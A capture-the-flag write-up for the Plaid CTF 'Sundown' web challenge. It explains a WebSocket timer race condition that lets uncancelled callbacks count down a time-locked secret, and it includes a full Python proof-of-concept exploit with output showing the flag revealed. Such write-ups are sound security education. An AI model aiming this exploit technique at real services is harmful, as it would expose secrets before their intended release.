Sundown Writeup
Introduction
Now that the 2025 Plaid CTF is over, I wanted to talk about the Sundown challenge. This challenge was fun, unique, and tricked me into staying up way past my bedtime trying to build a working POC.
You are provided with the code and a Docker Compose file (now archived here) to run everything locally. The flag is, of course, only accessible on a remote instance that you would connect to after building a working POC.
The challenge itself is a single web application that stores secrets that are revealed at a specific time.
This application lets you store your own secrets with your own custom reveal date.
The flag is also stored as a secret that is initialized when the application is deployed. Unfortunately, it has a reveal date of April 10th, 2026.
Red Herrings
In addition to storing flags, the application also has a basic registration and login system. All of this depends upon a PostgreSQL database. Looking through the TypeScript code that runs the application, there are a few instances of SQL queries that appear to allow for injection:
await tx.one(sql.unsafe`
INSERT INTO sundown.user (id, password)
VALUES (${body.username}, ${passwordHash})
RETURNING *
`);
Looking into this deeper though, Slonik is being used to interact with the PostgreSQL database and it handles parameterization securely. sql.unsafe
allows the parameters to have any type which could be dangerous in the right conditions, but it will still prevent us from extending this SQL query into anything that would allow us to directly query the flag.
The Vulnerability
Most of the service functionality is exposed as HTTP endpoints. To register, you POST
a username and password to /api/register
. If you want to list your secrets, you provide your session cookie in a GET
request to /api/secrets/my
. However, to actually query a secret you have to upgrade to a websocket connection on /api/ws
. You then send a JSON message in the following format:
{
"command":"open",
"id":"{secret_id}"
}
Where secret_id
is the secret that is being queried. If you submit an ID for a secret that has its reveal date in the past, it will immediately be revealed to you:
{
"kind":"Reveal",
"id":"9d2e8b79-2057-491f-ae43-7d9f87c6e16b",
"secret":"Nerd"
}
If you submit an ID for a secret that still has its reveal date in the future, it will respond with a message similar to the following:
{
"kind":"Update",
"remaining":"59m"
}
This Update
message will be sent at regular intervals depending on how far away you are from the reveal date. The further into the future the reveal date, the longer the interval between Update
messages. For example if you query for the flag, it will only return an Update
message once a day. However, if you create a secret that is supposed to be revealed in an hour, then the Update
messages will be returned every 30 seconds.
Here is the code that sends that message. This function is first called when you send an open
command to a secret with a reveal date in the future:
function updateTimeout() {
if (remaining === undefined) {
return;
}
if (timeout !== undefined) {
clearTimeout(timeout);
}
ws.send(JSON.stringify({ kind: "Update", remaining: formatDuration(remaining) }));
timeout = setTimeout(() => {
remaining! -= timeoutDuration!;
if (remaining! <= 0) {
revealSecret();
} else {
updateTimeoutDuration();
updateTimeout();
}
}, timeoutDuration);
}
What is interesting is that this function creates a timer that will recursively call itself. This potentially opens the door for race conditions. Another key is the timer callback will subtract from the remaining
variable. This variable is scoped to the WebSocket session and is set when you send the open
WebSocket command.
const secretData = await pool.maybeOne(sql.type(
z.object({
id: z.string(),
owner_id: z.string(),
name: z.string(),
secret: z.string(),
reveal_at: z.number(),
created_at: z.number(),
}),
)`
SELECT id, owner_id, name, secret, timestamp_to_ms(reveal_at) AS reveal_at, timestamp_to_ms(created_at) AS created_at
FROM sundown.secret
WHERE id = ${data.id}
`);
// [...]
remaining = new Date(secretData.reveal_at).getTime() - Date.now();
What if we make multiple open
calls to the flag? Well what happens is that remaining
will keep being reset from the code above. Additionally, that timer callback will also be cancelled and a new one will be created.
function updateTimeout() {
if (remaining === undefined) {
return;
}
// This will actually cancel the last timer and prevent its callback function from running
if (timeout !== undefined) {
clearTimeout(timeout);
}
ws.send(JSON.stringify({ kind: "Update", remaining: formatDuration(remaining) }));
// Now it gets recreated
timeout = setTimeout(() => {
remaining! -= timeoutDuration!;
if (remaining! <= 0) {
revealSecret();
} else {
updateTimeoutDuration();
updateTimeout();
}
}, timeoutDuration);
}
The final key to the puzzle is what happens when we call open
to a secret that has its reveal date in the past. In that case, the code that handles the open
command will instead call this revealSecret()
function:
function revealSecret() {
if (secretId === undefined || secret === undefined) {
return;
}
ws.send(JSON.stringify({ kind: "Reveal", id: secretId, secret }));
secretId = undefined;
secret = undefined;
timeout = undefined;
remaining = undefined;
}
Of course, it reveals the secret, but look at what happens to the timeout
variable. It is overwritten with undefined
. This variable is responsible for holding the timer ID that was created in updateTimeout()
:
timeout = setTimeout(() => {
remaining! -= timeoutDuration!;
if (remaining! <= 0) {
revealSecret();
} else {
updateTimeoutDuration();
updateTimeout();
}
}, timeoutDuration);
If a timer was previously created that hasn’t timed out yet, will this result in the timer being cancelled? No it won’t, it’s just a reference to the timer. In fact, if I make a new open
call to a secret that is still in the future, updateTimeout()
will be called, but clearTimeout()
won’t be called as timeout
is now undefined
.
function updateTimeout() {
if (remaining === undefined) {
return;
}
// The timeout is undefined so clearTimeout() can no longer be called
if (timeout !== undefined) {
clearTimeout(timeout);
}
ws.send(JSON.stringify({ kind: "Update", remaining: formatDuration(remaining) }));
// A new timeout is created without destroying the old one
timeout = setTimeout(() => {
remaining! -= timeoutDuration!;
if (remaining! <= 0) {
revealSecret();
} else {
updateTimeoutDuration();
updateTimeout();
}
}, timeoutDuration);
}
What if we create 2 secrets, one with a reveal date in the past and one with a reveal date an hour into the future. We call open
against the one in the future, updateTimeout()
is called, and it creates a timer with a callback:
function updateTimeout() {
// [...]
// This timeout variable holds the timer ID
timeout = setTimeout(() =>
// This is the callback code:
{
remaining! -= timeoutDuration!;
if (remaining! <= 0) {
revealSecret();
} else {
updateTimeoutDuration();
updateTimeout();
}
},
// This is how long to wait before timing out and triggering the callback
timeoutDuration
);
}
The timer will timeout and call the callback in about 30 seconds because of how timeoutDuration
is calculated. Before it times out though, we will call open
against the secret in the past. This time, revealTimeout()
is called which sets the timeout
variable to undefined
. Once again, we call open
against the secret with a reveal date in the future. This time updateTimeout()
will create a new timer without cancelling the previous one.
By alternating between calling open
against the future secret and open
against the old secret, we can spawn as many of these callbacks as we want:
{
remaining! -= timeoutDuration!;
if (remaining! <= 0) {
revealSecret();
} else {
updateTimeoutDuration();
updateTimeout();
}
}
If we create a few thousand of these callbacks and then call open
against the flag. Then the remaining
and timeoutDuration
will be swapped out with the time remaining until the flag reveal date and the timeoutDuration
calculated from that remaining
value (a day). This is because those variables are scoped to the WebSocket connection and not to updateTimeout()
or the callback itself.
Once these callbacks start getting triggered (30 seconds after we started spawning all of them), they will rapidly decrement the remaining
variable. At first they will decrement by 1 day. Unfortunately, they will also call updateTimeoutDuration()
which will adjust the timeoutDuration
variable and actually make it smaller as the remaining
value shrinks. This, combined with some inconsistencies in how the program handles all these callbacks being triggered simulatenously, is why we need to create a few thousand of them. Eventually though, remaining
will be less than or equal to 0 and instead of returning:
{
"kind":"Update",
"remaining":"{some duration}"
}
The callback will instead return:
{
"kind":"Reveal",
"id":"13371337-1337-1337-1337-133713371337",
"secret":"PCTF{the flag}"
}
POC
import os
import random
import string
import websocket
import _thread
import time
import uuid
import requests
from time import sleep
from datetime import datetime, timedelta
ADDRESS = os.environ.get("ADDRESS")
HOST = f"https://{ADDRESS}"
WS = f"wss://{ADDRESS}/api/ws"
######################
# Register and Login #
######################
user = ''.join(random.choice(string.ascii_letters) for _ in range(10))
requests.post(f'{HOST}/api/register', json={'username':user, 'password':user})
cookies = requests.post(f'{HOST}/api/login', json={'username':user, 'password':user}).cookies
##################
# Create Secrets #
##################
# Create a secret 3 days in the past
old = datetime.now(datetime.timezone.utc) - timedelta(days = 3)
old_id = requests.post(f'{HOST}/api/secrets/create', json={"name": "oldsecret", "secret": "oldsecret", "revealAt": old.isoformat()}, cookies=cookies).json()["id"]
# Create a secret 1 hour into the future
near = datetime.now(datetime.timezone.utc) + timedelta(hours = 1)
near_id = requests.post(f'{HOST}/api/secrets/create', json={"name": "nearsecret", "secret": "nearsecret", "revealAt": near.isoformat()}, cookies=cookies).json()["id"]
##########################################
# WebSocket and Vulnerability Triggering #
##########################################
def on_message(ws, message):
global message_count
global flag_sent
print(message)
# Connected is sent by the server when a connection is established, use this to trigger the vulnerability
if "Connected" in message:
for i in range(6000):
ws.send(f'{{"command":"open","id":"{near_id}"}}')
ws.send(f'{{"command":"open","id":"{old_id}"}}')
# Sleep to ensure that the secret flag ID is definitely the last one set
sleep(3)
ws.send(f'{{"command":"open","id":"13371337-1337-1337-1337-133713371337"}}')
def on_error(ws, error):
print(error)
def on_close(ws, close_status_code, close_msg):
print("WebSocket closed")
def on_open(ws):
print("Opened connection")
ws = websocket.WebSocketApp(
WS,
on_open=on_open,
on_message=on_message,
on_error=on_error,
on_close=on_close,
)
ws.run_forever()
Running the POC
Opened connection
{"kind":"Connected"}
{"kind":"Watch","id":"3ece0e46-a7a4-4df6-bc57-d31bf471ab3b","name":"oldsecret"}
{"kind":"Reveal","id":"3ece0e46-a7a4-4df6-bc57-d31bf471ab3b","secret":"oldsecret"}
{"kind":"Watch","id":"7e66ed60-24b5-46e7-8270-868905f4415d","name":"nearsecret"}
{"kind":"Update","remaining":"59m"}
// [...]
{"kind":"Watch","id":"13371337-1337-1337-1337-133713371337","name":"Flag"}
{"kind":"Update","remaining":"1y"}
{"kind":"Update","remaining":"1y"}
{"kind":"Update","remaining":"1y"}
// [...]
{"kind":"Update","remaining":"11mo"}
{"kind":"Update","remaining":"11mo"}
{"kind":"Update","remaining":"11mo"}
// [...]
{"kind":"Update","remaining":"3w"}
{"kind":"Update","remaining":"3w"}
{"kind":"Update","remaining":"3w"}
// [...]
{"kind":"Update","remaining":"1s"}
{"kind":"Update","remaining":"1s"}
{"kind":"Update","remaining":"1s"}
{"kind":"Update","remaining":"1s"}
{"kind":"Update","remaining":"1s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Update","remaining":"0s"}
{"kind":"Reveal","id":"13371337-1337-1337-1337-133713371337","secret":"PCTF{welcome_to_plaidctf_2026!!1one_69df568bcf58e1ff}"}
Connection to remote host was lost.